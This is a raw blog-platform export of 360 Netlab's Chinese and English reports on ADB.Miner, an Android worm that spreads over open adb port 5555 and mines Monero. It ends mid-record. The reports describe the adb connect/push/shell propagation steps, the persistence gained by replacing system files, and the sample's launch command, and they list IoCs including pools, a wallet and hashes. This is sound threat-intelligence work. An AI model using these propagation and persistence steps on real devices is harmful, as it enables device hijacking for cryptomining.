<li>矿池地址：pool.monero.hashvault.pro:5555 或者 pool.minexmr.com:7777</li> <li>钱包地址（矿池账号）：44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr</li> <li>矿池密码：x</li> </ul> <p>目前为止，上述钱包还没有收到矿池的第一笔付款：</p> <p><img src="__GHOST_URL__/content/images/2018/02/zero_incoming_till_now.png" alt="" loading="lazy"></p> <h4 id="">蠕虫式传播</h4> <p>我们目前可以认为恶意代码有蠕虫式传播行为。</p> <p>我们最初就高度怀疑样本有蠕虫式传播行为。后续的分析从几个方面证实了上述猜测。后续我们也许会发布更新，进一步说明这一点。</p> <p>其他的分析和防御工作，也正在持续进行中。后续的重要更新我们都会持续发布，请保持关注 <a href="https://twitter.com/360Netlab">twitter/360Netlab</a>。</p> <!--kg-card-end: markdown-->

作者：Hui Wang, RootKiter, twitter/360Netlab 大约24小时前，从 2018-02-03 15:00 开始，一组恶意代码开始蠕虫式快速传播，我们分析了这个安全威胁，一些快速的结果如下： * 传播时间：最早的感染时间可以回溯到 1月31日附近。当前这波蠕虫式感染从 2018-02-03 下午 15：00 附近开始被我们的系统检测到，目前仍在持续增长。 * 感染端口：5555，是安卓设备上 adb 调试接口的工作端口，这个端口正常应该被关闭，但未知原因导致部分设备错误的打开了该端口 * 蠕虫式感染：恶意代码在完成植入后，会继续扫描 5555 adb 端口，完成自身的传播 * 感染设备型号：目前能够确认的设备型号见后，大部分是智能手机，以及智能电视机顶盒 * 感染设备数量：2.75 ~ 5k，主要分布在中国（~40%）和韩国（~30%） 另外，恶意代码复用了 mirai 在扫描阶段的代码，这是我们首次看到 mirai 代码被安卓蠕虫复用 总体而言，我们认为有基于 android 系统 adb 调试接口的恶意代码目前正在蠕虫式积极传播，24小时内已经感染了超过5千台设备。 端口 5555 上的感染趋势 从 2018-02-03 晚间开始，我们检测到端口 5555 上的扫描流量正在快速增长，如下： 如上图所见，5555 端口上的扫描流量从下午15：00附近，开始达到日常背景数据的3倍，24：00附近到达10倍。到目前未知，发起扫描的IP数量和总扫描流量，都仍然在持续增长中。 如下图所示，当前 5555 端口扫描流量已经排入所有端口的前十。上一次我们看到一个全新端口排入前十，是2016年9月期间，mirai僵尸网络开始组建其僵尸网络。 5555 端口上扫描来源的独立IP地址，按照不同口径统计，有2.75 ~ 5.5k，这个数字正在快速增长中，两个来源的情况见后： * 来自 scanmon的统计数字： 2.75k，主要来自中国（40%）和韩国（31%）。 * 来自我们的僵尸网络跟踪系统的统计数字： 5.5k 受感染设备主要是各厂商开放了 adb 调试接口的安卓设备 受感染设备正在积极的尝试投递恶意代码。我们从这些恶意代码中分析发现，大部分来源设备基于 android 操作系统。 具体被感染设备机型暂时不予公开，目前看，因为各主要厂商均涉及，并且同时涉及智能手机和智能电视（电视机顶盒？），我们倾向排除厂商级别漏洞的可能性。 恶意代码在利用这些设备挖矿 相关的恶意代码有一组，其中 xmrig 相关恶意样本会参与挖取 XMR 代币。相关的配置有两组，基于两个不同矿池，但是共享了同一个钱包地址： * 矿池地址：pool.monero.hashvault.pro:5555 或者 pool.minexmr.com:7777 * 钱包地址（矿池账号）：44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr * 矿池密码：x 目前为止，上述钱包还没有收到矿池的第一笔付款： 蠕虫式传播 我们目前可以认为恶意代码有蠕虫式传播行为。 我们最初就高度怀疑样本有蠕虫式传播行为。后续的分析从几个方面证实了上述猜测。后续我们也许会发布更新，进一步说明这一点。 其他的分析和防御工作，也正在持续进行中。后续的重要更新我们都会持续发布，请保持关注 twitter/360Netlab。

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"作者：Hui Wang, RootKiter,\n[twitter/360Netlab](https://twitter.com/360Netlab)\n\n大约24小时前，从 2018-02-03 15:00 开始，一组恶意代码开始蠕虫式快速传播，我们分析了这个安全威胁，一些快速的结果如下：\n\n - **传播时间**：最早的感染时间可以回溯到 1月31日附近。当前这波蠕虫式感染从 2018-02-03 下午 15：00 附近开始被我们的系统检测到，目前仍在持续增长。\n - **感染端口**：5555，是安卓设备上 adb 调试接口的工作端口，这个端口正常应该被关闭，但未知原因导致部分设备错误的打开了该端口\n - **蠕虫式感染**：恶意代码在完成植入后，会继续扫描 5555 adb 端口，完成自身的传播\n - **感染设备型号**：目前能够确认的设备型号见后，大部分是智能手机，以及智能电视机顶盒\n - **感染设备数量**：2.75 ~ 5k，主要分布在中国（~40%）和韩国（~30%）\n\n另外，恶意代码复用了 mirai 在扫描阶段的代码，这是我们首次看到 mirai 代码被安卓蠕虫复用\n\n总体而言，我们认为有基于 android 系统 adb 调试接口的恶意代码目前正在蠕虫式积极传播，24小时内已经感染了超过5千台设备。\n\n#### 端口 5555 上的感染趋势\n\n从 2018-02-03 晚间开始，我们检测到端口 5555 上的扫描流量正在快速增长，如下：\n\n\n\n如上图所见，5555 端口上的扫描流量从下午15：00附近，开始达到日常背景数据的3倍，24：00附近到达10倍。到目前未知，发起扫描的IP数量和总扫描流量，都仍然在持续增长中。\n\n如下图所示，当前 5555 端口扫描流量已经排入所有端口的前十。上一次我们看到一个全新端口排入前十，是2016年9月期间，mirai僵尸网络开始组建其僵尸网络。\n\n\n\n5555 端口上扫描来源的独立IP地址，按照不同口径统计，有2.75 ~ 5.5k，这个数字正在快速增长中，两个来源的情况见后：\n\n - 来自 [scanmon](http://scan.netlab.360.com/)的统计数字： 2.75k，主要来自中国（40%）和韩国（31%）。\n - 来自我们的僵尸网络跟踪系统的统计数字： 5.5k\n\n\n\n\n#### 受感染设备主要是各厂商开放了 adb 调试接口的安卓设备\n受感染设备正在积极的尝试投递恶意代码。我们从这些恶意代码中分析发现，大部分来源设备基于 android 操作系统。\n\n具体被感染设备机型暂时不予公开，目前看，因为各主要厂商均涉及，并且同时涉及智能手机和智能电视（电视机顶盒？），我们倾向排除厂商级别漏洞的可能性。\n\n\n#### 恶意代码在利用这些设备挖矿\n\n相关的恶意代码有一组，其中 xmrig 相关恶意样本会参与挖取 XMR 代币。相关的配置有两组，基于两个不同矿池，但是共享了同一个钱包地址：\n\n - 矿池地址：pool.monero.hashvault.pro:5555 或者 pool.minexmr.com:7777\n - 钱包地址（矿池账号）：44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr\n - 矿池密码：x\n\n目前为止，上述钱包还没有收到矿池的第一笔付款：\n\n\n\n\n#### 蠕虫式传播\n\n我们目前可以认为恶意代码有蠕虫式传播行为。\n\n我们最初就高度怀疑样本有蠕虫式传播行为。后续的分析从几个方面证实了上述猜测。后续我们也许会发布更新，进一步说明这一点。\n\n其他的分析和防御工作，也正在持续进行中。后续的重要更新我们都会持续发布，请保持关注 [twitter/360Netlab](https://twitter.com/360Netlab)。\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

88

post

2018-02-04T06:34:09.000Z

63873b9a8b1c1e0007f52f0c

early-warning-adb-miner-a-mining-botnet-utilizing-android-adb-is-now-rapidly-spreading-en

2018-10-06T09:12:36.000Z

public

published

2018-02-04T07:39:34.000Z

Early Warning: ADB.Miner A Mining Botnet Utilizing Android ADB Is Now Rapidly Spreading

<!--kg-card-begin: markdown--><p>Author：Hui Wang, RootKiter,<br> <a href="https://twitter.com/360Netlab">twitter/360Netlab</a></p> <p>About 24 hours ago, around 2018-02-03 15:00(GMT +8), a set of malicious code began to spread rapidly, here are some quick facts:</p> <ul> <li><strong>Timeline</strong> : the earliest time of the infection can be traced back to January 31. And the current worm-like infection was detected by our system from around 2018-02-03 15:00</li> <li><strong>Infected port</strong> : 5555, which is the working port of adb debugging interface on Android device, this port should be normally closed</li> <li><strong>Worm behavior</strong> : The Malicious code looks for open 5555 adb debug interface after successful infection, which is worm like.</li> <li><strong>Target equipment</strong> : Most are android based devices. We will not publish details as of now.</li> <li><strong>The number of infected equipment</strong> : 2.75 ~ 5k, so far mainly in China (~ 40%) and South Korea (~ 30%)</li> </ul> <p>Also, this malware borrows some of the mirai's scanning code, this is the first time we see the mirai code being used by Android bot</p> <p>Overall, we think there is a new and active worm targeting android system's adb debug interface spreading, and this worm has probably infected more than 5,000 devices in just 24 hours.</p> <h4 id="infectiontrendonport5555">Infection Trend on Port 5555</h4> <p><img src="__GHOST_URL__/content/images/2018/02/5555_scanning_trend.png" alt="" loading="lazy"></p> <p>As can be seen from the figure above, the scan traffic on port 5555 starts around 15:00 pm on 2018-02-03 , reaches 3 times the daily average number, and has a tenfold increase around 24:00. the number of IPs initiating scanning and the total scanning traffic are still growing as of now.</p> <p>As it can be seen below, the current 5555 port scan traffic has been gone up to the top ten of all ports on our <a href="http://scan.netlab.360.com">scanmon</a> system. The last time we saw a new port suddenly jumped to the top 10 list was the mirai botnet, which goes back to September 2016.</p> <p><img src="__GHOST_URL__/content/images/2018/02/scanned_port_top10.png" alt="" loading="lazy"></p> <p>The number of unique scan sources is 2.75k on our scanmon system, and 5.5k on our botnet tracking system.</p> <p><img src="__GHOST_URL__/content/images/2018/02/scanner_are_from_China_and_Korea.png" alt="" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2018/02/scanner_from_botnetmon.png" alt="" loading="lazy"></p> <h4 id="mostoftheinfecteddevicesareandroidsmartphonesortvboxwithadbdebugginginterfaceopened">Most of the Infected devices Are Android Smart Phones or TV Box with ADB Debugging Interface Opened</h4> <p>Those infected devices are actively trying to spread malicious code. By analyzing the spreading source, we found that most of them are smart phones and smart TV (TV box) based on Android.</p> <p>We will not publish detailed infected models here. Till now, we don't think it is a vendor level issue.</p> <h4 id="infecteddevicesareusedtodigxmrcoins">Infected Devices are Used to Dig XMR Coins</h4> <p>A set of malicious code are located till now. Among them, the xmrig related ones are involved in digging XMR tokens, with two groups of configurations.</p> <p>These two share the same wallet address but with different mining pool address:</p> <ul> <li><strong>Mining Pool</strong> : pool.monero.hashvault.pro:5555 or pool.minexmr.com:7777</li> <li><strong>Wallet Address</strong> : 44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr</li> <li><strong>Pool Pass</strong> : x</li> </ul> <p>Till now, zero coins have been paid, as can be seen in below:</p> <p><img src="__GHOST_URL__/content/images/2018/02/zero_incoming_till_now.png" alt="" loading="lazy"></p> <p>We will post any important update here to further illustrate this, stay tuned.</p> <!--kg-card-end: markdown-->

Author：Hui Wang, RootKiter, twitter/360Netlab About 24 hours ago, around 2018-02-03 15:00(GMT +8), a set of malicious code began to spread rapidly, here are some quick facts: * Timeline : the earliest time of the infection can be traced back to January 31. And the current worm-like infection was detected by our system from around 2018-02-03 15:00 * Infected port : 5555, which is the working port of adb debugging interface on Android device, this port should be normally closed * Worm behavior : The Malicious code looks for open 5555 adb debug interface after successful infection, which is worm like. * Target equipment : Most are android based devices. We will not publish details as of now. * The number of infected equipment : 2.75 ~ 5k, so far mainly in China (~ 40%) and South Korea (~ 30%) Also, this malware borrows some of the mirai's scanning code, this is the first time we see the mirai code being used by Android bot Overall, we think there is a new and active worm targeting android system's adb debug interface spreading, and this worm has probably infected more than 5,000 devices in just 24 hours. Infection Trend on Port 5555 As can be seen from the figure above, the scan traffic on port 5555 starts around 15:00 pm on 2018-02-03 , reaches 3 times the daily average number, and has a tenfold increase around 24:00. the number of IPs initiating scanning and the total scanning traffic are still growing as of now. As it can be seen below, the current 5555 port scan traffic has been gone up to the top ten of all ports on our scanmon system. The last time we saw a new port suddenly jumped to the top 10 list was the mirai botnet, which goes back to September 2016. The number of unique scan sources is 2.75k on our scanmon system, and 5.5k on our botnet tracking system. Most of the Infected devices Are Android Smart Phones or TV Box with ADB Debugging Interface Opened Those infected devices are actively trying to spread malicious code. By analyzing the spreading source, we found that most of them are smart phones and smart TV (TV box) based on Android. We will not publish detailed infected models here. Till now, we don't think it is a vendor level issue. Infected Devices are Used to Dig XMR Coins A set of malicious code are located till now. Among them, the xmrig related ones are involved in digging XMR tokens, with two groups of configurations. These two share the same wallet address but with different mining pool address: * Mining Pool : pool.monero.hashvault.pro:5555 or pool.minexmr.com:7777 * Wallet Address : 44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr * Pool Pass : x Till now, zero coins have been paid, as can be seen in below: We will post any important update here to further illustrate this, stay tuned.

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"Author：Hui Wang, RootKiter,\n[twitter/360Netlab](https://twitter.com/360Netlab)\n\nAbout 24 hours ago, around 2018-02-03 15:00(GMT +8), a set of malicious code began to spread rapidly, here are some quick facts:\n\n\n - **Timeline** : the earliest time of the infection can be traced back to January 31. And the current worm-like infection was detected by our system from around 2018-02-03 15:00\n - **Infected port** : 5555, which is the working port of adb debugging interface on Android device, this port should be normally closed\n - **Worm behavior** : The Malicious code looks for open 5555 adb debug interface after successful infection, which is worm like.\n - **Target equipment** : Most are android based devices. We will not publish details as of now.\n - **The number of infected equipment** : 2.75 ~ 5k, so far mainly in China (~ 40%) and South Korea (~ 30%)\n\nAlso, this malware borrows some of the mirai's scanning code, this is the first time we see the mirai code being used by Android bot\n\nOverall, we think there is a new and active worm targeting android system's adb debug interface spreading, and this worm has probably infected more than 5,000 devices in just 24 hours.\n\n#### Infection Trend on Port 5555\n\n\n\nAs can be seen from the figure above, the scan traffic on port 5555 starts around 15:00 pm on 2018-02-03 , reaches 3 times the daily average number, and has a tenfold increase around 24:00. the number of IPs initiating scanning and the total scanning traffic are still growing as of now.\n\nAs it can be seen below, the current 5555 port scan traffic has been gone up to the top ten of all ports on our [scanmon](http://scan.netlab.360.com) system. The last time we saw a new port suddenly jumped to the top 10 list was the mirai botnet, which goes back to September 2016.\n\n\n\nThe number of unique scan sources is 2.75k on our scanmon system, and 5.5k on our botnet tracking system.\n\n\n\n\n\n#### Most of the Infected devices Are Android Smart Phones or TV Box with ADB Debugging Interface Opened\n\nThose infected devices are actively trying to spread malicious code. By analyzing the spreading source, we found that most of them are smart phones and smart TV (TV box) based on Android.\n\nWe will not publish detailed infected models here. Till now, we don't think it is a vendor level issue.\n\n#### Infected Devices are Used to Dig XMR Coins\n\nA set of malicious code are located till now. Among them, the xmrig related ones are involved in digging XMR tokens, with two groups of configurations.\n\nThese two share the same wallet address but with different mining pool address:\n\n - **Mining Pool** : pool.monero.hashvault.pro:5555 or pool.minexmr.com:7777\n - **Wallet Address** : 44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr\n - **Pool Pass** : x\n\nTill now, zero coins have been paid, as can be seen in below:\n\n\n\n\nWe will post any important update here to further illustrate this, stay tuned.\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

89

post

2018-02-06T02:48:02.000Z

63873b9a8b1c1e0007f52f0d

adb-miner-more-information

2018-10-06T09:03:16.000Z

public

published

2018-02-06T03:17:00.000Z

ADB.Miner 安卓蠕虫的更多信息

<!--kg-card-begin: markdown--><p>本篇技术分析，由360手机卫士，360威胁情报中心，360烽火实验室，360-CERT，360网络安全研究院联合发布。</p> <h2 id="">综述</h2> <p>大约48小时之前，我们发布 <a href="__GHOST_URL__/early-warning-adb-miner-a-mining-botnet-utilizing-android-adb-is-now-rapidly-spreading/">文章</a> 报告了ADB.Miner，一种新型的安卓蠕虫。该蠕虫可以借助安卓设备上已经打开的 adb 调试接口传播，且初期传播的增速很快，约每12小时翻一番。</p> <p>在过去的48小时内，我们对 ADB.Miner 做更进一步的分析，目前的结论如下，供安全社区参考：</p> <ol> <li><strong>当前感染量已经稳定</strong>：日活感染量在增长到7千(2018-02-05 15:00 GMT+8)后不再快速增长。这个数字已经保持稳定了超过 20 小时，可以认为蠕虫已经经过了爆发期，进入稳定期。</li> <li><strong>确认电视盒子被感染</strong>：确认被感染的都是安卓设备。进一步分析能够确认部分设备是电视盒子，其他设备不能认定是何种设备，也不能确认是安卓手机</li> <li>对样本的分析，<strong>排除了样本从远程开启 adb 调试接口</strong>的可能。在被感染以前，这些设备的 5555 端口就已经开启。至于 5555 接口是如何打开的，目前无从得知。</li> </ol> <p>受感染的设备地理分布如下图所示，主要的受害者分布在中国（39%，含中国香港和中国台湾）和韩国（39%）：</p> <p><img src="__GHOST_URL__/content/images/2018/02/infected_device_distribute.png" alt="" loading="lazy"></p> <h2 id="">样本分析</h2> <p>在本次事件中，共捕获样本9个。系列样本的核心功能是蠕虫 + 挖矿。</p> <ul> <li><strong>蠕虫式传染</strong>：被感染设备会对外发起 TCP 5555 adb 调试端口扫描，并尝试执行 adb 命令把自身拷贝到新的感染机器</li> <li><strong>挖矿</strong>：被感染后的核心功能就是利用窃取到的计算资源挖XMR代币</li> <li>此外，该样本的蠕虫的端口探测部分<strong>借鉴了MIRAI的SYN扫描模块</strong>以提高端口探测效率。</li> </ul> <p>该蠕虫没有上联控制服务器，仅通过单一钱包地址获取收益。这种代码布局更加紧凑。</p> <p>各样本概要信息如下表所示，后续各小节逐一展开分析：</p> <p><img src="__GHOST_URL__/content/images/2018/02/IOC_cn-1.jpg" alt="" loading="lazy"></p> <h4 id="sss">sss - 代码主体</h4> <p>sss为上载到目标设备的恶意代码主体。在droidbot将其上传到目标设备后，执行nohup /data/local/tmp/sss启动该执行程序时，其会读取bot.dat，并释放droidbot，invoke.sh，ddexe，debuggerd和install-recovery.sh到当前目录下。随后其会调用nohup执行释放的droidbot。</p> <p><img src="__GHOST_URL__/content/images/2018/02/sss_main_run.jpg" alt="" loading="lazy"></p> <h4 id="invokesh">invoke.sh - 持久化</h4> <p>invoke.sh通过替换系统程序来实现持久化，替换后的程序除了原有功能外，还会额外运行droidbot。三个被替换的文件如下：</p> <ul> <li>如果/system/bin/ddexe存在，则替换其为释放的ddexe脚本；</li> <li>如果/system/bin/debuggerd存在，则替换为释放的debuggerd脚本；</li> <li>如果/system/etc/install-recovery.sh存在，则替换为释放的install-recovery.sh脚本。</li> </ul> <p><img src="__GHOST_URL__/content/images/2018/02/invoke_sh_code.jpg" alt="" loading="lazy"></p> <h4 id="droidbot">droidbot样本 - 蠕虫传播</h4> <p>样本的<strong>蠕虫式传播是通过 droidbot 实现</strong>的。当样本扫描发现开启5555端口的设备后，将通过依次发送adb connect /adb push/adb shell 等指令的方式，将所有相关样本从本地上传至受害者并执行，相关截图如下所示：</p> <p><img src="__GHOST_URL__/content/images/2018/02/adbminer_adbshell_1.jpg" alt="adb命令前缀" loading="lazy"></p> <p><img src="__GHOST_URL__/content/images/2018/02/adbminer_adbshell_2.jpg" alt="adb命令参数" loading="lazy"></p> <p>该传播模块<strong>借鉴了MIRAI的源码</strong>：</p> <ol> <li>样本中<strong>内置了MIRAI的SYN扫描模块</strong>，以提高对5555 端口开放情况的探测能力。下图高亮处代码在试图构造一个随机IP，且目标端口为5555。如果对MIRAI的代码结构比较熟悉可从左下角缩略图看到这个缩略图同MIRAI的代码结构具有高度相似性。</li> <li>样本中还<strong>遗留了MIRAI代码中table的结构字符</strong>，如下下图所示。通过MIRAI的默认密钥0xdeadbeef 对上面的字符内容解密后，可以确认均为弱口令字符。并且我们确认这些弱口令均未被使用。</li> </ol> <p><img src="__GHOST_URL__/content/images/2018/02/mirai_code_1.jpg" alt="" loading="lazy"></p> <p><img src="__GHOST_URL__/content/images/2018/02/mirai_code_2.jpg" alt="" loading="lazy"></p> <h4 id="xmrig32xmrig64configjson">xmrig32/xmrig64/config.json - 挖矿样本和配置</h4> <p>两个xmrig样本为挖矿样本。</p> <p>挖矿的配置由 config.json 文件提供，如下：</p> <p><img src="__GHOST_URL__/content/images/2018/02/config_json_screen.jpg" alt="" loading="lazy"></p> <p>其中矿池分别为：</p> <ul> <li>pool.minexmr.com:7777</li> <li>pool.monero.hashvault.pro:5555</li> </ul> <p>用户名，即钱包地址为:</p> <ul> <li>44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr</li> </ul> <h4 id="droidbotapkcoinhive">droidbot.apk - 另一个基于CoinHive的挖矿样本</h4> <p>该样本是一个运行于Android环境的apk文件。其核心功能就是通过webview加载一个本地html网页文件挖矿。相关代码如下图所示：</p> <p><img src="__GHOST_URL__/content/images/2018/02/adbminer_webview_1.jpg" alt="利用webview组建加载本地html页面" loading="lazy"></p> <p><img src="__GHOST_URL__/content/images/2018/02/adbminer_webview_2.jpg" alt="被加载网页会调用coinhive脚本挖矿" loading="lazy"></p> <p>上述两图展示了恶意代码先后利用webview组建加载本地html页面，并通过被加载网页调用 coinhive 脚本挖矿。</p> <h2 id="ioc">IoC</h2> <pre><code>bc84e86f8090f935e0f1fc04b04455c6 bot.dat cd37d59f2aac9101715b28f2b28b7417 botsuinit_1_1.txt 27c3e74b6ddf175c3827900fe06d63b3 config.json 412874e10fe6d7295ad7eb210da352a1 droidbot 914082a04d6db5084a963e9f70fb4276 droidbot.apk 9a10ba1d64a02ee308cd6479959d2db2 nohup 6a22c94d6e2a18acf2377c994d0186af sss ac344c3accbbc4ee14db0e18f81c2c0d xmrig32 cc7775f1682d12ba4edb161824e5a0e4 xmrig64 </code></pre> <!--kg-card-end: markdown-->

本篇技术分析，由360手机卫士，360威胁情报中心，360烽火实验室，360-CERT，360网络安全研究院联合发布。 综述 大约48小时之前，我们发布 文章 报告了ADB.Miner，一种新型的安卓蠕虫。该蠕虫可以借助安卓设备上已经打开的 adb 调试接口传播，且初期传播的增速很快，约每12小时翻一番。 在过去的48小时内，我们对 ADB.Miner 做更进一步的分析，目前的结论如下，供安全社区参考： 1. 当前感染量已经稳定：日活感染量在增长到7千(2018-02-05 15:00 GMT+8)后不再快速增长。这个数字已经保持稳定了超过 20 小时，可以认为蠕虫已经经过了爆发期，进入稳定期。 2. 确认电视盒子被感染：确认被感染的都是安卓设备。进一步分析能够确认部分设备是电视盒子，其他设备不能认定是何种设备，也不能确认是安卓手机 3. 对样本的分析，排除了样本从远程开启 adb 调试接口的可能。在被感染以前，这些设备的 5555 端口就已经开启。至于 5555 接口是如何打开的，目前无从得知。 受感染的设备地理分布如下图所示，主要的受害者分布在中国（39%，含中国香港和中国台湾）和韩国（39%）： 样本分析 在本次事件中，共捕获样本9个。系列样本的核心功能是蠕虫 + 挖矿。 * 蠕虫式传染：被感染设备会对外发起 TCP 5555 adb 调试端口扫描，并尝试执行 adb 命令把自身拷贝到新的感染机器 * 挖矿：被感染后的核心功能就是利用窃取到的计算资源挖XMR代币 * 此外，该样本的蠕虫的端口探测部分借鉴了MIRAI的SYN扫描模块以提高端口探测效率。 该蠕虫没有上联控制服务器，仅通过单一钱包地址获取收益。这种代码布局更加紧凑。 各样本概要信息如下表所示，后续各小节逐一展开分析： sss - 代码主体 sss为上载到目标设备的恶意代码主体。在droidbot将其上传到目标设备后，执行nohup /data/local/tmp/sss启动该执行程序时，其会读取bot.dat，并释放droidbot，invoke.sh，ddexe，debuggerd和install-recovery.sh到当前目录下。随后其会调用nohup执行释放的droidbot。 invoke.sh - 持久化 invoke.sh通过替换系统程序来实现持久化，替换后的程序除了原有功能外，还会额外运行droidbot。三个被替换的文件如下： * 如果/system/bin/ddexe存在，则替换其为释放的ddexe脚本； * 如果/system/bin/debuggerd存在，则替换为释放的debuggerd脚本； * 如果/system/etc/install-recovery.sh存在，则替换为释放的install-recovery.sh脚本。 droidbot样本 - 蠕虫传播 样本的蠕虫式传播是通过 droidbot 实现的。当样本扫描发现开启5555端口的设备后，将通过依次发送adb connect /adb push/adb shell 等指令的方式，将所有相关样本从本地上传至受害者并执行，相关截图如下所示： 该传播模块借鉴了MIRAI的源码： 1. 样本中内置了MIRAI的SYN扫描模块，以提高对5555 端口开放情况的探测能力。下图高亮处代码在试图构造一个随机IP，且目标端口为5555。如果对MIRAI的代码结构比较熟悉可从左下角缩略图看到这个缩略图同MIRAI的代码结构具有高度相似性。 2. 样本中还遗留了MIRAI代码中table的结构字符，如下下图所示。通过MIRAI的默认密钥0xdeadbeef 对上面的字符内容解密后，可以确认均为弱口令字符。并且我们确认这些弱口令均未被使用。 xmrig32/xmrig64/config.json - 挖矿样本和配置 两个xmrig样本为挖矿样本。 挖矿的配置由 config.json 文件提供，如下： 其中矿池分别为： * pool.minexmr.com:7777 * pool.monero.hashvault.pro:5555 用户名，即钱包地址为: * 44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr droidbot.apk - 另一个基于CoinHive的挖矿样本 该样本是一个运行于Android环境的apk文件。其核心功能就是通过webview加载一个本地html网页文件挖矿。相关代码如下图所示： 上述两图展示了恶意代码先后利用webview组建加载本地html页面，并通过被加载网页调用 coinhive 脚本挖矿。 IoC bc84e86f8090f935e0f1fc04b04455c6 bot.dat cd37d59f2aac9101715b28f2b28b7417 botsuinit_1_1.txt 27c3e74b6ddf175c3827900fe06d63b3 config.json 412874e10fe6d7295ad7eb210da352a1 droidbot 914082a04d6db5084a963e9f70fb4276 droidbot.apk 9a10ba1d64a02ee308cd6479959d2db2 nohup 6a22c94d6e2a18acf2377c994d0186af sss ac344c3accbbc4ee14db0e18f81c2c0d xmrig32 cc7775f1682d12ba4edb161824e5a0e4 xmrig64

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"本篇技术分析，由360手机卫士，360威胁情报中心，360烽火实验室，360-CERT，360网络安全研究院联合发布。\n\n## 综述\n\n大约48小时之前，我们发布 [文章](__GHOST_URL__/early-warning-adb-miner-a-mining-botnet-utilizing-android-adb-is-now-rapidly-spreading/) 报告了ADB.Miner，一种新型的安卓蠕虫。该蠕虫可以借助安卓设备上已经打开的 adb 调试接口传播，且初期传播的增速很快，约每12小时翻一番。\n\n在过去的48小时内，我们对 ADB.Miner 做更进一步的分析，目前的结论如下，供安全社区参考：\n\n 1. **当前感染量已经稳定**：日活感染量在增长到7千(2018-02-05 15:00 GMT+8)后不再快速增长。这个数字已经保持稳定了超过 20 小时，可以认为蠕虫已经经过了爆发期，进入稳定期。\n 2. **确认电视盒子被感染**：确认被感染的都是安卓设备。进一步分析能够确认部分设备是电视盒子，其他设备不能认定是何种设备，也不能确认是安卓手机\n 3. 对样本的分析，**排除了样本从远程开启 adb 调试接口**的可能。在被感染以前，这些设备的 5555 端口就已经开启。至于 5555 接口是如何打开的，目前无从得知。\n\n受感染的设备地理分布如下图所示，主要的受害者分布在中国（39%，含中国香港和中国台湾）和韩国（39%）：\n\n\n\n## 样本分析\n\n在本次事件中，共捕获样本9个。系列样本的核心功能是蠕虫 + 挖矿。\n\n - **蠕虫式传染**：被感染设备会对外发起 TCP 5555 adb 调试端口扫描，并尝试执行 adb 命令把自身拷贝到新的感染机器\n - **挖矿**：被感染后的核心功能就是利用窃取到的计算资源挖XMR代币\n - 此外，该样本的蠕虫的端口探测部分**借鉴了MIRAI的SYN扫描模块**以提高端口探测效率。\n\n该蠕虫没有上联控制服务器，仅通过单一钱包地址获取收益。这种代码布局更加紧凑。\n\n各样本概要信息如下表所示，后续各小节逐一展开分析：\n\n\n\n\n#### sss - 代码主体\n\nsss为上载到目标设备的恶意代码主体。在droidbot将其上传到目标设备后，执行nohup /data/local/tmp/sss启动该执行程序时，其会读取bot.dat，并释放droidbot，invoke.sh，ddexe，debuggerd和install-recovery.sh到当前目录下。随后其会调用nohup执行释放的droidbot。\n\n\n\n#### invoke.sh - 持久化\n\ninvoke.sh通过替换系统程序来实现持久化，替换后的程序除了原有功能外，还会额外运行droidbot。三个被替换的文件如下：\n\n* 如果/system/bin/ddexe存在，则替换其为释放的ddexe脚本；\n* 如果/system/bin/debuggerd存在，则替换为释放的debuggerd脚本；\n* 如果/system/etc/install-recovery.sh存在，则替换为释放的install-recovery.sh脚本。\n\n\n\n#### droidbot样本 - 蠕虫传播\n\n样本的**蠕虫式传播是通过 droidbot 实现**的。当样本扫描发现开启5555端口的设备后，将通过依次发送adb connect /adb push/adb shell 等指令的方式，将所有相关样本从本地上传至受害者并执行，相关截图如下所示：\n \n\n\n \n\n\n\n该传播模块**借鉴了MIRAI的源码**：\n\n1. 样本中**内置了MIRAI的SYN扫描模块**，以提高对5555 端口开放情况的探测能力。下图高亮处代码在试图构造一个随机IP，且目标端口为5555。如果对MIRAI的代码结构比较熟悉可从左下角缩略图看到这个缩略图同MIRAI的代码结构具有高度相似性。\n2. 样本中还**遗留了MIRAI代码中table的结构字符**，如下下图所示。通过MIRAI的默认密钥0xdeadbeef 对上面的字符内容解密后，可以确认均为弱口令字符。并且我们确认这些弱口令均未被使用。\n\n\n\n\n \n#### xmrig32/xmrig64/config.json - 挖矿样本和配置\n两个xmrig样本为挖矿样本。\n\n挖矿的配置由 config.json 文件提供，如下：\n\n\n\n其中矿池分别为： \n\n* pool.minexmr.com:7777 \n* pool.monero.hashvault.pro:5555\n\n用户名，即钱包地址为:\n\n* 44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr\n\n#### droidbot.apk - 